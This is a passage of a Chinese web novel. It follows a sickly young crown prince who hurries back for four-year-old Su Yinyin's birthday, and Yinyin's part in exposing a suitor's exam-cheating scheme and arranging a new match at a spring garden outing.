“路上还有雪未化,怎么快行?你是什么蠢东西,若是车翻了,你来负责吗!”车夫破口大骂,接下来的话更是难听。 大家走得好好的,突然改变方向,是会死人的! 不仅话难听,他干脆把这蠢货一家扔到官道的茶馆里,便是不赚这一趟钱,都不能拉他们! “嫌我的车慢,有本事你去坐六架的马车,方才那车跑得可极快。” 六架车,必然是王公贵族才能坐的,车夫说这话终于出了个恶气。 而那六架的马车既稳又快,载着一个瘦弱的小娃娃前行。 小娃娃还看手里的信件,即使这些信件他已经看过多时了。 全都是小宝宝写的。 有她专门写的信,也有她平日的课业。 一张张看过去,能发现明显的进度。 小娃娃削瘦的手指冰凉,又拿起旁边的小蝴蝶木雕,巴掌大小,有点像茵茵。 外面的寒冷让李锐渊闭上眼,努力感受身旁暖炉的温度。 他答应过茵茵,要回去给她过生辰。 正月十五。 就剩两日了。 他一定会赶到的。 手中的纸张被他从头到尾再翻一遍,其中几张纸上,还写了很可爱的小字。 “今天店铺生意好好。” “好困,早上起不来。” “啊差点点算错账,幸好我聪明。” “猪猪存钱罐真可爱。” “原锐好像很怕冷。” “哥哥跟爹爹想笑,但是没笑出来。” “娘亲亲亲。” “今天做了件大好事!不过我怎么真成小红娘了。” 苏茵茵自己都没发现,她每日发牢骚练字的纸张被收拢起来,当课业一起送到原锐那。 估计还在奇怪这些东西收到哪里。 过年期间,温泉行宫里的李锐渊便是看着这些纸张度日。 这些小牢骚很鲜活,像是小宝宝在他耳边嘟囔一样。 可爱。 像小蝴蝶一样可爱。 李锐渊还在信上看到一行字。 还说她家店铺隔壁搬来一个小孩,也是五六岁的样子。 比他高。 还比他壮。 “真的好大只。” 李锐渊眼神停留在这行字上,抿抿唇,好像身上更冷了。 旁边的仆从看着殿下的表情,只觉得殿下年纪不大,身上气势却足,他看的有些害怕啊。 “您吃酥花生吗,还有一小盒呢。”仆从赶紧递上去。 李锐渊没说话,垂眼道:“不吃了。” 比他高。 比他壮。 李锐渊咬牙:“吃。” “还有吃食吗。”??? 殿下在说什么?! 今日的殿下,还真的是殿下吗? 不仅敢在冰天雪地里出行,还主动要吃的。 倘若陛下皇后听到,肯定会喜极而泣吧! “有有有,小的去给您拿。” 不过在雪地里出行,倒没那么奇怪。 温泉行宫附近也有雪地,从十月份下雪之后,殿下便会主动过去,不管手指怎样颤抖,他都会往前走。 许多时候,连陪同的皇后娘娘都看不下去,让殿下慢慢来。 “日子还长,不用着急。” 孩子才六七岁,即使作为太子,年纪也还是小的。 殿下却直接摇头:“我答应过她。” 正月十五,要陪小宝宝过生辰。 “那孩子是正月十五的生辰?”皇后娘娘低声说了句,“怪不得。” 那个时间,积雪大概率未化。 若渊儿走不出来,那他还要在温泉行宫待着,直到春暖花开。 说远一点,若不早点克服这一点,他就永远也不能给苏茵茵过生辰。 甚至连渊儿的生辰,也是在冬日,同样有雪。 总不能把人家小宝宝抱到行宫吧。 皇后中间回了几趟皇宫,每次回来,都能发现渊儿走得更远了,甚至还吃了小点心。 这一切都让皇上皇后甚至宽慰。 马车上,李锐渊到底没用多少,闭上眼缓了缓道:“今年是不是该上武学课了。” 七岁了,是该学的。 可殿下的身体? 李锐渊不言。 他一定要学。 他也能长得很高很大只。 至少比小宝宝的邻居厉害。 小宝宝苏茵茵睡得迷迷糊糊,便听到有人敲门。 天冷之后,她起的比平日晚一些,不过家里来客人,还是挣扎着起来。 来的人带着礼物,苏茵茵有些眼熟,定睛一看,这不是那日一起听书的婶娘吗。 这位婶娘同时西城兵马司一位副使的娘子,人称魏娘子,她这次过来,有事求苏家帮忙。 本来应该早些时候过来,但想着年节里各家人都多,不好说话,如今都快正月十五了,她趁着人少走动走动。 看到刚睡醒的小宝宝,魏娘子道:“你家女儿生得可真好,长大后必然是个美人。” 此话不假,小宝宝眼睛像葡萄一般,鼻梁挺翘,脸蛋肉乎乎的,却小得厉害,怎么看都是美人坯子。 苏娘子笑道:“小孩子,快快乐乐就行。” “不能这样讲,你家小孩出了名聪明。” 此话一出,苏娘子跟苏茵茵察觉到什么。 “她可是咱们兵马司都知道的小红娘。” 果然,这句话来了。 苏茵茵刚睡醒,肚子饿的咕咕叫,苏娘子赶紧把热着的早饭拿出来,还有一碗温热的牛奶。 魏娘子过来自不是为了蹭饭,只让小宝宝吃着,她道明来意。 “过年的时候,有人来我家说了门亲事,可我有些拿不准,想请你家一起帮忙拿个主意。”魏娘子说着,眼神都在嘴边沾了一圈白的小宝宝说。 向一个还不到四岁的娃娃求助,她真的不好意思,却也没办法。 谁让这小娃娃聪明,还名声在外。 所以魏娘子赶紧道:“是我娘家的远房侄儿,今年二十,之前一直老家定州在读书,因着读书才没议亲,今年还去考了秀才,虽说还不知道结果,但今年是他头一次考,多半不中的。” “过年时候,我娘家来人,说我家大女儿十八,也算正合适,问要不要结亲。” “当时我本想拒绝,定州距离汴京也有二百多里,哪舍得让女儿远嫁。” “可拒了之后,那边说我那远房侄儿可以来汴京,顺便在这里读书,而且他家还能在我家附近买处宅院。” 其实说到这,魏娘子跟她相公已经心动了。 侄儿读书一向不错,都说考个几年,考上秀才应当不错。 虽说放在汴京,秀才不算什么,但在普通人家,已经很好了。 再加上魏娘子的相公在兵马司做副使,也能给他安排个文书小吏的活,到时候女儿还能在身边,岂不是极好。 退一万步说,考不上秀才,会读书识字去做账房先生也行啊。 一家子不说富贵,但日子肯定过得去。 魏娘子没有第一时间回应,又找人回娘家探听,看看他家有没有特殊情况。 他们接亲,不算高攀,更不算低嫁,看着是不错。 可他家还是谨慎,即使老家说一切正常,魏娘子下意识想到苏家的聪明女儿,干脆准备礼物,来苏家坐坐。 这种大事,苏娘子有些为难。 苏茵茵那边抬头道:“婶娘,他家是头一次提这门亲事吗。” “是啊,就过年的时候讲的。” 单这么看,好像没什么问题。 那侄儿也不过二十,因为读书耽误议亲很正常。 所有事情里,只有一个是不正常的。 为何不等童试成绩公布再说? 各地童试都有当地县级以上官府组织,情况都有不同。 但苏茵茵听哥哥讲过,大多是从正月二十开始第一轮考试,三到五轮,也就是二月中旬出成绩。 谁家议亲,会赶在童试之前议? 怎么也要等到考试结束,评估一下自己的成绩,再寻门第。 在古代,若科举有望的,便是童试落榜了,也能拿着自己的文章求亲,证明这书生是个潜力股。 难不成魏书生还有魏书生的家人,料定自己考不中? 为何这般肯定? 按照这家的说法,他也是读书十余载的,就一点把握也没有? 可这点微末细节苏茵茵有些不知怎么讲。 见小宝宝纠结,魏娘子直接道:“孩子你有话直说,这里就咱们几个人,除了孩子他爹,我谁都不讲。” 苏娘子犹豫片刻,不想让女儿掺和里面,同时又怕一个好姑娘嫁错人,那一辈子的事。 苏茵茵那边已经直接讲了,她还是找了个稳妥的方式:“要不然请其他人问问情况,想来定州也有您家的旧友。” 总之不要从娘家那边入手。 没记错的话,魏娘子是找她娘家人打听的? 科举多重要,不必多言。 还未考便料定自己不中,问题只怕不小。 再者,魏娘子的娘家条件不错,远离家乡来汴京备考,还要在汴京买房子住下,他家怎么就确定,一定在汴京定居? 苏茵茵觉得自己想多了,可妥妥期间,还是说出看法。 魏娘子一惊:“科举方面有问题?” 这么一说,也是啊,在家好好的,要来汴京定居不说,还确定本届秀才不中? 魏娘子急急忙忙离开,她要找人问问,这次避开娘家人。 魏家的事还要个四五天才有结果,苏娘子的注意力都在女儿接下来的生辰上。 还有两日,便是女儿四岁生辰,她肯定要好好庆祝一番。 想来想去,苏娘子决定带着全家去酒楼吃一顿好的。 他们鲜少在外吃饭,这次就破个例。 西市近年新开好几家大酒楼,他们也去尝尝。 苏茵茵还未在外面酒楼吃过呢,有些好奇当地都卖什么菜色。 她当年在孤儿院,跟煮饭阿姨练的一手好厨艺,不过这辈子没什么机会展示,不管什么时候家里都有热乎乎的饭菜。 送走魏娘子,母女两个赶紧去店里开门。 旁边酱料店也正式开业,看着虽然有些冷清,但也有买卖,估计等名声打出去会好一些。 肉眼可见的,这个西市末尾的巷子多了好几家铺子。 卖酱料的,卖杂货的,还有一家新开的面馆。 西市真的越来越热闹了。 正月十五,其他人家庆祝元宵节,苏家要庆祝小女儿的生辰。 今日过节,哥哥也不用上学,手上拿着一个柔软的布娃娃,苏显为了给妹妹惊喜,特意存钱去外面做的。 苏茵茵当时随口提了句,便被哥哥放在心上。 软软的布娃娃,抱起来有半个苏茵茵高,还扎着两个小辫子。 好可爱! 是布娃娃哎。 “妹妹生辰快乐,四岁了。”苏显把娃娃递给妹妹,摸摸妹妹头发,她喜欢就好。 苏茵茵一把搂住娃娃,也搂住哥哥:“谢谢哥哥。” 苏显嘴角翘了翘:“喜欢就好。” 礼物送的很成功。 苏副使送的东西更大件,竟然是连夜在院子里做了个秋千,秋千的座椅用皮子垫着,很是舒服。 秋千哎! 苏茵茵抱着布娃娃走过去。 院子里的秋千,等天气暖和一些,她要天天过来玩! 苏娘子不仅准备了全套的新衣裳,更是今日酒楼吃宴的请客人,她还从匣子里取出一支崭新的绢花。 鲜艳的颜色,很适合接下来的春日佩戴。 好多礼物啊。 苏茵茵感觉自己跟做梦一样。 梦里的自己,真的快乐呀。 苏茵茵小小掐自己一下。 不是梦,是真的! 看女儿傻乎乎的样子,三位家人忍不住笑,宝宝怎么都可爱。 “谢谢娘亲,谢谢爹爹,谢谢哥哥。” “我很喜欢这些礼物。”苏茵茵抱住全家,心里美得不行。 她不仅有家人,还有家人的礼物呢! 作为小寿星,邻居刘婶娘特意送了个鸡腿过来,就连酱料孙家的孙小子也偷偷卷了个大饼过来。 他家济州大饼加上济州酱料,味道绝佳! 苏茵茵一口咬上去,确实不错! 傍晚,苏家四口关了点心店门,慢悠悠往酒楼走。 今日元宵节,西市还有灯会,他们预定的位置可以看到大片漂亮的元宵灯。 点点灯光,把往日无光的夜晚照的灯火通明,西市的百姓走出家门,庆祝元宵佳节。 “客官四位吗,有预定?里面请~”酒楼伙计热情洋溢,带着苏茵茵他们往楼上走。 娘亲请客,竟然直接去了二楼哎! 苏茵茵还未来过这么大的酒楼,是上辈子这辈子加起来的头一回,她说不上局促,但带了高兴。 爹娘还有哥哥,他们一家在一起,可真好。 苏茵茵被抱着坐上凳子,趁着家人点菜的时候看向窗外。 从二楼往下看,元宵灯更好看了。 苏茵茵撑着窗台往下看,她是看到一个熟悉的人吗? 那人正好抬头。 原锐! 原锐回汴京了? 苏茵茵瞪大眼睛,楼下的李锐渊眼中也出现惊喜,快步上楼。 找到了。 他去苏家时扑了个空,邻居说小宝宝一家去酒楼吃饭了。 本以为不好找,没想到刚来看便看到她。 李锐渊一路奔波,眼神明亮,带了微微喘息,手里的玛瑙盒子被攥得很紧。 “生辰礼物。” “送你的。” 李锐渊并未说自己回来的有多艰难,他只觉得,还好赶上了。 苏茵茵看着盒子,有些踌躇。 上面那么大颗的是玛瑙吗? 别说苏茵茵没见过,苏家人都没见过啊。 盒子被塞到苏茵茵手中,比玛瑙盒子更珍贵的,是里面腰坠。 小蝴蝶形状的,不过小孩巴掌大小,翅膀上皆是一颗颗细小精美的彩色宝石。 宝石颜色搭配的极妙,乍一看就是只粉粉的小蝴蝶,稍微一动,蝴蝶流转的翅膀便炫目起来。 好漂亮。 漂亮到可以进博物馆那种。 这是个可以存在于一年四季并流光溢彩的小蝴蝶。 第28章 酒楼雅间,苏家生辰小席上多了个人。 苏家四口对此并不排斥,多是怜爱原锐的瘦弱,还知道过年那会,他都是一个人过的。 但是,那个礼物是不是有些太贵重了。 放到现代,这样无数彩宝镶嵌的蝴蝶饰品,不说彩宝是真是假,只讲这个设计审美,价格都能突破天际。 现在设计是真的,上面无数宝石也是真的。 李锐渊根本不给她反驳的机会,只道:“我家工匠做了大半年,专门是给你的。” 意思就是,你不要,这礼物就没有意义。 李锐渊身后的仆从连忙上前,对苏家夫妇小声道:“我们家老爷夫人知道此事,一直想感谢您照顾少爷,能哄着少爷多吃几口饭,别说一个彩宝小蝴蝶了,便是拿一座金山来换,老爷夫人也愿意的。” 说白了,对他家来说,并不算什么,心意最重要。 苏茵茵看着原锐的目光,只好把它挂在腰间。 确实好看。 苏茵茵一瞬间明白,为什么很多人喜欢宝石了,不说价值如何,就是单纯看着闪亮亮的东西,心情会格外好。 两人把玩一会,菜也上齐了。 元宵的菜色里必然有道汤圆,那汤圆甚至还是彩色的。 刚吃几口,就听后厨有人过来道:“苏家来吃饭,价格直接减半。” 不仅如此,大厨专门做了拿手菜赠送,更给小寿星做了长寿面过来。 但凡大厨,在酒楼里都是仅次老板的地位。 他敢这样讲,就敢给苏家打折。 为什么呀。 伙计连忙回话:“我们家大厨讲,彩色的汤圆,还是从你家糯米凉糕得来的灵感,很多人都冲着彩色汤圆来吃饭呢。” 哇,还有这层关系。 食物摆在外面,熟悉厨房的人,一眼就能看出关窍,没想到这家大厨还记在心上,知道是他们来了,特意给折扣。 苏娘子惊喜:“这还是我们家女儿想出的法子,倒是省银钱了。” 苏副使,苏显同时点头。 都是茵茵厉害。 李锐渊回来路上,知道最近发生不少事,没想到小宝宝还有这样的惊喜。 今日满四岁的苏茵茵被夸的脸红,脸颊被灯笼映得红彤彤。 生日可真好啊。 好多人帮她过生日,还夸她。 苏茵茵给家人夹菜,最后到原锐的时候,特意避开不好克化的汤圆,给他分了自己的长寿面。 吃这个! 这个好消化! 生日快快乐乐过去。 这个年也彻底过完。 提前从行宫回来的李锐渊让朝中一阵惊喜。 太子殿下从小聪慧,若不是小时候那件事,必然是大家心中最合适的储君人选。 如今看着殿下慢慢恢复,甚至还准备练习骑射,朝中后继有人,任谁都觉得天佑万龙国。 苏副使都觉得,他们上司宁郡王最近心情不错,也有这方面的原因。 不过这几日,苏茵茵跟苏娘子收拾行李要回老家一趟。 年前就说好了,要回家学新点心的方子。 这次估计回去半个月,学五到七种做点心的方法。 苏茵茵识字,可以让苏奶奶口述,她记下来,回来之后按着方子做,也更省时间。 上次在酒楼吃饭,苏茵茵就察觉到,连酒楼大厨都在想着创新,他们点心铺同样要抓紧。 汴京的集市,好像越来越繁荣了。 正月二十出发,二月初七正好回来。 苏茵茵回来之后,发现哥哥学习更用功了。 一问才知道,汴京北城今年的童试题目极难,他们这个私塾里竟然只有一个考上秀才,气的进士夫子咬牙切齿。 进士夫子心中不满,挑了几个他觉得潜力极大的学生,私底下不要钱给他们补习,一定要让他们考上秀才方能雪耻。 苏显就是其中之一。 哥哥这是直接进了精品小班? 哎,考科举确实不容易。 收到科举,苏茵茵跟苏娘子对视一眼,苏娘子甚至还没收拾好行李,就有人登门拜访。 这次魏娘子跟她相公一起来了,两人手上拿的礼物看似不多,实际上都是贵重的布料。 魏娘子脸色难看,她也不瞒着苏家人,直接向小宝宝道谢,满怀感激拉着苏茵茵的手:“若不是你提醒,只怕正要着了他们的道。” 正月上学,魏娘子的娘家来人,给她大女儿说亲事,家族里还算有出息的魏书生。 而且那魏书生还能来京城买房定居,准备在汴京读书。 本想着是好事。 可苏茵茵提醒,马上要童试,他家为什么不等童试结束再说,难道一定料定自己考不上? 这种细节,很少有人能察觉。 毕竟怎么看魏书生都是潜力股,还是娘家人来说媒。 魏娘子先让娘家那边看看情况,听了小宝宝的话后,又让相公去找同僚从当地定州当地官府询问。 一来二去,终于在童试时发现端倪。 好啊,原来是魏书生在童试前,试图买当地童试题目。 当地衙门发生后,直接夺了他们考试的资格。 只是当时全县书生都在备考,不好说出来,影响考生成绩。 魏书生一家就是趁着事情还没揭露,准备赶紧定亲。 可当地肯定不成,毕竟童试结束后,此事便也没有隐瞒的必要,便是跟当地女子定亲了,那直接退亲便是。 万龙国对女子退亲可没有那么大的拘束。 而且怎么看都是他家有错在先。 故而魏家想让魏书生去往他处。 在汴京的魏娘子便被盯上,到时候事情传过来,估计生米都成熟饭了。 至于什么在汴京买房备考,根本不是为了读书,也不是为了让女方家放心。 完全因为家乡待不下去。 再有,魏家还指望汴京北城这边查的不严,忽略魏书生在定州县城的罪名。 考生那样多,察觉不到也很正常。 可他家完全没想过,若汴京这边知道了,那他的岳家也会被牵连。 到时候岳父母都被连累。 或许想到了,但依旧这样做。 反正吃亏的又不是他们。 若不是他家多留个心眼,从官府同僚那查问,真要入了圈套。 “这人实在可恨。”这位巡查司副使极为生气,若不是相隔两百里,他定然会直接狠揍对方一顿。 苏家夫妇听了来龙去脉,只觉得害怕。 他们家也有女儿,若他家遇到这样的事,苏副使这般冷静的人,都会冲过去打人。 苏茵茵听的震惊。 科举舞弊这种事都敢做啊,魏书生是不是头有点铁。 幸好当地官府发现的及时。 她当时还怕自己多心,没想到多心是有好处的。 魏娘子再次感谢:“怎么说都觉得不够,以后你家有事便是我家有事,必然不会推辞。” 魏娘子本身性格爽快,小时候也读过书,在汴京北城时间长,结交甚广,她这么说,便是认了私人的交情。 那巡查司副使是大族旁支,虽不受重视,却也有几分体面,他跟着点头,同样是感谢。 当晚两人留下吃饭,期间更是夸茵茵聪明。 这般敏锐,那可是天分啊。 正说着,苏家门又被敲响。 苏显过去开门,是私塾夫子让学生送新添的课业过来,说是今年童试题目整理好了,让他们都做一遍。 苏茵茵往外看去,哥哥的夫子着实被今年童试气狠了,竟然连夜差人送试。 升学率的问题,果然困扰古今所有老师。 不过门口那人身穿崭新青衿,难道是哥哥私塾里,今年唯一考中的秀才? 苏茵茵还没见过秀才呢。 苏娘子见女儿好奇,随口问道:“怎么了?” “娘亲,外面好像是黄秀才。” 黄秀才,显儿的同窗? 苏家夫妇自然知道他,显儿私塾唯一考中秀才的嘛。 今年童试题目极难,只有他过五关斩六将,考中秀才,是进士先生的爱徒。 让爱徒来送卷子,也是对学生们的激励? 黄秀才无奈至极。 夫子还让他穿着青衿来送,搞的像是故意显摆一样。 说到新中的秀才,魏娘子跟巡查副使同时看过去。 谁让差点被假书生骗了,此刻来了个真书生,忍不住多看几眼。 魏娘子看着,忍不住道:“这秀才今年刚考中吗。” “年龄多少,可有婚配?” 这他们哪知道啊。 等苏显拿着童试的试卷回来,面对目光灼灼的婶娘伯父,有点不知所措。 这是怎么了? “显儿你这同窗今年多少。” “可有婚配?” “家里条件如何?” “品行呢,做人的品行最重要。” 十二岁的苏显有些不明白,小宝宝苏茵茵已经在扶额了,她就不该多看那一眼! 苏显那边并未回答黄秀才的私人问题,只道:“黄兄品行极佳,性格稳重,学问扎实。” 还真是秀才! 今年刚考出来的。 苏显顿住,剩下的不再多言。 没经过允许,不能在背后说人家里情况。 魏娘子,巡查副使对此倒是理解,甚至更欣赏苏家了。 苏副使来汴京时间短,又是行伍出身,没想到一家人竟然这般优秀。 苏娘子不用说,自己撑起点心铺子,还乐善好施,对家中贫困的下属极好。 大儿子苏显读书用功,轻易不论人长短。 小女儿冰雪聪明,知微见著。 哎这一家四口,让人实在羡慕啊。 羡慕归羡慕,魏娘子还是请苏显帮忙问问黄秀才的情况,看看他那边有没有这个想法。 毕竟方才一看,那穿着崭新青衿的青年着实不错,为人沉稳,做事也稳妥。 老家那边,还想给她画个未来秀才的饼。 现在她偏偏要给女儿找个真秀才。 不然出不了这口气。 苏显傻眼,盯着妹妹看了好一会。 想到同窗黄兄的情况,苏显竟也没直接拒绝,只能对妹妹敬佩道:“这种情况,妹妹也能撮合一对?” 这合理吗! 第29章 苏茵茵默默吃饭,她也没想到啊。 此事交给上学的苏显,以至于第二日上学时,下意识看向同窗黄兄。 黄秀才今年二十一,是进士夫子的同乡,家里务农,家里贫苦。 因着天赋不错,故而被进士夫子带到京城,既是给他家做些杂事,同时也能免除学费。 黄秀才确实争气,今年考题如此之难,他竟然还考中了。 更幸运的是,他依旧可以在夫子这读书,毕竟夫子是进士,还能教导他许久。 十二岁的苏显头一次办这种差事,频频看向黄秀才。 进士夫子看了一眼,反而夸道:“不错,见贤思齐焉,多向黄秀才学习才是。” 苏显挠头,等到得空时,不好意思地将此事说与黄秀才,最后强调道:“只是说一句,若不成没什么,昨晚我爹同僚看到你了,便顺嘴一问。” 黄秀才也傻眼了。 自从他考上秀才之后,说亲的人是很多。 无论老家还是夫子这边,上门说项的人不少。 可他怎么也没想到,平日沉默的小孩苏显会提起此事啊。 黄秀才虽然觉得好笑,却也道:“此事还要禀告夫子再讲,我住在夫子家中,必然要说一声。” 无论成不成,都要让夫子知会,这是应有的礼数。 没想到夫子听说之后,第一反应是:“此事为苏显讲的?还是他妹妹先看到你,随后那女方家长才起了想法?” 黄秀才不明所以,夫子说话怎么听不懂啊。 进士夫子看一下自己的同乡后辈。 这孩子只知道读书,就不知道打听打听外面的事吗。 其他人就罢了。 若是苏显的妹妹苏茵茵所说,倒是可以看看。 就连他都知道,苏茵茵有小红娘的绰号,她点的鸳鸯谱都很好。 黄秀才听了前因后果,甚至觉得夫子有些荒谬? 不是他不敬师长啊,而是这理由也太奇怪了吧。 话虽如此,他还是听夫子的,把自己的情况写成信件递给苏家。 这算是道明自己的家世。 黄秀才虽知对方是兵马司副使,家族似乎还有些体面,但依旧如实写了情况。 他家老家六口人,爹娘哥嫂务农,妹妹待嫁,家底单薄。 又写了自己的情况,说这次秀才名次不高,把名次年龄都写上,主打一个实在。 信件给苏家看,那也就是给魏家看。 苏茵茵只听过相亲的时候美化自己条件的,写的这般真实详尽的还是头一个啊。 单这一点,已经胜过很多人了。 苏娘子魏娘子同样这般想的。 特别是魏娘子,经历娘家那事,她现在不求门第,只求对方是个实诚人。 “要不然,见一见?” 二月三月不少花会游园,彼此见一面再说。 魏娘子动作迅速,问了私塾休息时间,定在三月初三踏青游园时“偶遇”。 这两年一到春日,京郊不少园子开放供游客赏玩,根据园子大小不一,每人二到十枚铜板不等。 汴京男女老幼都会趁着时间踏青赏花。 选在游园会上,再合适不过。 “茵茵也去吧,带上我们有福气的小宝宝,正好可以牵个线。” 魏娘子带着女儿前去游玩。 黄秀才带着苏家兄妹,去同一个园子。 到时候有茵茵在,她去跟魏娘子母女打招呼,简直刚刚好。 如此“艰巨”的任务,非小红娘莫属。 到了三月初三这日,唯一不同的,就是黄秀才身边又多了两个小娃娃。 一个是酱料店的孙东俊,他见老大要出门踏青,也要跟着去。 其实就是想出去玩。 另一个是冷着脸的李锐渊,他倒是提前说好了,并不算突然跟着。 黄秀才感觉,自己像是娃娃队的队长。 不过既然领命了,就一定会照顾好娃娃们。 苏娘子看着,差点把店门关了,跟着他们一起。 黄秀才却道:“婶娘,不妨事的。我在家中常带着侄儿侄女,这几个孩子乖巧,我们照顾得来。” 黄秀才身边还有个同龄人,是他已经成亲的表哥,跟着过去,也是帮忙相看。 两个大人带着四个小孩,完全没问题。 别说这几个小孩里,苏显沉稳,茵茵乖巧。 冷脸小孩原锐更稳重,他身边还有仆从跟着,肯定没事。 只有邻居家这个看着糖果流口水的孙东俊傻乎乎的,需要费心些。 一行六人坐着马车往北郊走去。 他们出发的虽早,路上却已经有不少马车,皆是出来踏青游玩的少男少女。 苏茵茵看着窗外,惊喜道:“好多风筝啊。” 很少跟这么多人挤一辆马车的原锐往小宝宝身边靠了靠:“你想玩吗。” 苏茵茵点头:“下次吧。” 这次没有带风筝。 她要买个好看的风筝过来玩。 到了北郊,只见青草满地,花香四溢,绿水青山看着便让心旷神怡。 魏娘子定下的园子规模中等,大人五枚铜钱,小孩两枚即可。 黄秀才主动付了所有人的银钱,并非他故意充大方,而是这些人都因他而来,不好让大家破费。 他多去抄书把银钱赚回来即可。 苏家兄妹同样揣着钱,见他们晚了一步,便在附近买了些吃食分给大家,算是平坦出来的费用。 临到园子门口,李锐渊却往其他地方张望。 “原锐,怎么了?”苏茵茵好奇道。 见着附近人多,苏茵茵主动拉住原锐袖子:“咱们不要走散了。” 李锐渊看了看宝宝的小手,嗯了声,开口道:“等风筝。” 风筝? “风筝买回来了,少爷您看这个怎么样。”李锐渊的仆从快步走过来,手里拿着好几个风筝。 这已经是他能买到最大最好的风筝了! 其中一个蝴蝶风筝有苏茵茵整个人那样大,上面的彩色绘饰实在吸引眼球。 剩下的同样好看,大小也差不多,但要论夺目,还是蝴蝶风筝最漂亮。 李锐渊接过蝴蝶风筝递给苏茵茵。 其他风筝则由仆从分给大家。 孙东俊目露精光,往前大跨步,双手抱拳,然后拉住苏茵茵袖子:“老大,跟着你果然没错!” 有吃有喝还有风筝。 这日子太美好了! 李锐渊皱眉,拍开对方的胖手,碰什么碰。 孙东俊也不生气,美滋滋把玩风筝。 李锐渊的仆从看得好笑,帮忙照看所有孩子。 不过有黄秀才在,似乎不用太担心。 他果然如自己所说,有照顾孩子的经验,虽说是游园,却能各个照顾到位,确定所有小朋友都在,带着大家一起进园。 不远处的魏家母女早就看到他们这一行人,在马车上暗暗观察。 黄秀才不卑不亢,照顾孩子也照顾的自然,除了呆板了些,其他都还行。 魏娘子看向女儿:“兰双,他就是黄秀才了。” 那身崭新青衿做不得假。 被唤兰双的年轻女子很不好意思,她远远看一眼,只看到衣服,实在没看清,只知道他们一行人都拿着风筝。 “没事,一会见面了再说。” 反正总能碰上。 魏娘子提着轻便的食盒,里面装着新鲜的瓜果点心,好留住孩子们,让女儿跟黄秀才相看。 为了女儿的婚事,魏娘子思虑的十分周全。 可惜,计划赶不上变化。 进了院子,魏娘子直接傻眼。 外面看着还好,里面人也太多了吧! 挤挤攘攘的,哪里是看花赏景的,分明是看人的。 这个园子主人怎么回事,明知道园子里人多,还一直放人进来。 实在是奸商啊。 原本曲径通幽的小路,都是摩肩擦踵的游客,哪还有幽静可言。 魏娘子跟兰双两人小心翼翼,终于走到宽阔处,不留神又迎来一群人,食盒都要被人挤掉了。 魏娘子刚护好食盒,女儿一转眼不见了。 兰双没注意其他,只当娘亲在自己身边,还指着春花道:“娘,你看那朵花,开得真好,我都闻到香味啦。” 说罢,有人同样赞叹道:“迟日江山丽,春风花草香。” 兰双一顿。 她夸花香只会说开得真好,闻到香味。 这人却用了诗句。 对比有点过于明显了。 兰双往旁边看去,只见一个眼神真挚的青年,满眼赞同春日景色,手里还牵着一个孩子。 春景是很好,但这般杂乱的环境,还能专心致志欣赏吗。 兰双再看他穿着崭新青衿,心里紧张。 还好,手中没风筝。 大约不是她要见的人。 听到娘亲唤她名字,兰双连忙去寻人,再回头,吟诗的书生已经不见了。 黄秀才并未停留太久,他看完春花便立刻去孩子们周围看护。 这几个孩子,基本没出过他的视线。 其他人还好,只有孙东俊需要他手把手牵着,故而两人的风筝都在表哥手中。 这会到了稍微宽敞的地方,孙东俊连忙道:“风筝,我想玩风筝。” 黄秀才接过两人风筝,对孩子道:“出了园子再玩吧,这里人太多了。” 苏茵茵已经快蔫了。 她个子小,以她的视角来看,哪哪都是人,别说花了,草都要在人群缝隙里偷瞄。 苏茵茵靠在原锐身上,叹气道:“这园子好吵啊。” 别说放风筝了,看景都不行。 李锐渊身体僵硬,下意识道:“要不然换个地方,有个园子离这里很近,那里不仅可以放风筝,还能骑马。” 李锐渊一想,此地距离宁郡王家的园子很近,那园子小宝宝还去过,应当是喜欢的。 “那我们找到魏婶娘她们,然后换地方?”苏茵茵惊喜。 放风筝! 骑马! 她想去。 可是怎么找人呢? 这里人也太多了。 苏茵茵拉拉黄秀才的衣袖,指了指自己:“能不能把我抱起来,举高一点。” 这是做什么? 黄秀才虽然不解,却还是照做。 对这样可爱的小娃娃,实在拒绝不了她任何请求。 黄秀才下一秒,便知道什么是后悔。 只听小娃娃双手做喇叭状,奶声奶气的超大声喊道:“魏婶娘!我在这!” “魏婶娘!快来看我!” 别说魏婶娘了,附近所有人都看过来。 黄秀才从未被这么多人同时注视,脸涨红得厉害。 怎么是这种方法啊。 不知道什么叫社死的黄秀才,当众体验一把什么是真正的社死! 此种方法,是不是太简单粗暴了。 害羞到震惊的黄秀才,竟然没意识到可以把小娃娃放下来,直到魏娘子母女果真找来,才意识到自己此刻的憨傻。 太不体面了,实在有损读书人的体面。 魏娘子反而觉得这个方法好。 至于偶遇不偶遇的,这也是偶遇的一种。 此地人那样多,反正都差不多。 兰双看着满脸通红的黄秀才。 这就是方才吟诗的读书人。 可真巧。 第30章 一行八人,终于从园子里挤出来。 汴京出来赏春的人太多了,本来不算小的园子,硬生生挤成菜市场。 苏茵茵跟着魏娘子母女,另一边则是黄秀才等人。 作为两方最熟悉的人,自然成为大家都照顾的对象。 “我们去原锐亲戚家的园子吧,那里人少清静,有地方放风筝。” 众人点头,方才的园子人真的太多了,做什么都不方便。 那地方并不远,就是宁郡王之前借给下属的园子。 之后偶尔借人用过几次,大多数时间并不对外开放。 按照原锐的话说:“我们是亲戚,所以可以借到。” 这甚至可以解释,去年那会,原锐为什么在园子里闲逛。 对此茵茵倒也不吃惊。 以原锐平常的气度,是宁郡王亲戚,也不奇怪? 当然不奇怪。 明明是收到消息的宁郡王差点从凳子上掉下来。 太子殿下用他的园子,那能叫借吗? 便是送给殿下,也是他的福分。 至于什么亲戚,他这个远房郡王,确实算皇亲国戚,但也不敢跟太子攀亲啊。 故而苏茵茵他们到的时候,园子紧急收拾片刻,更是拨调一批仆从过来伺候,并未言明李锐渊身份,只说好生伺候即可。 园子管家远远在门口迎接,听说他们是过来放风筝骑马的,立刻道:“去西花园最好,那边草地平整,离水远一些,更安全。距离马场也近。” 既然是游春,管家又带着众人先在整个园子逛逛,最后在西花园休息放风筝。 黄秀才,魏娘子母女他们本以为就是个小园子,没想到进来之后,方知花钱能进的园子跟这一比,实在不算什么。 无论花草景观,无不精美。 苏家兄妹虽不是头一回来,同样看得目不暇接 上次刘姐姐跟丁大哥的婚事在这办的,也只用了五分之一的场地。 逛遍整个园子,都要小半日呢。 众人三三两两散开。 魏娘子同黄秀才的表哥闲谈几句,手里拉着苏显。 苏茵茵跟原锐凑在一起说话。 最后面则是故意被落下的兰双跟黄秀才。 至于兴奋至极的孙东俊跟在管家旁边,什么都想碰一碰。 兰双跟黄秀才两人都不好意思说话。 一个在想,对方看到一朵花都能出口成章,她只会说句真好看,就怕露怯。 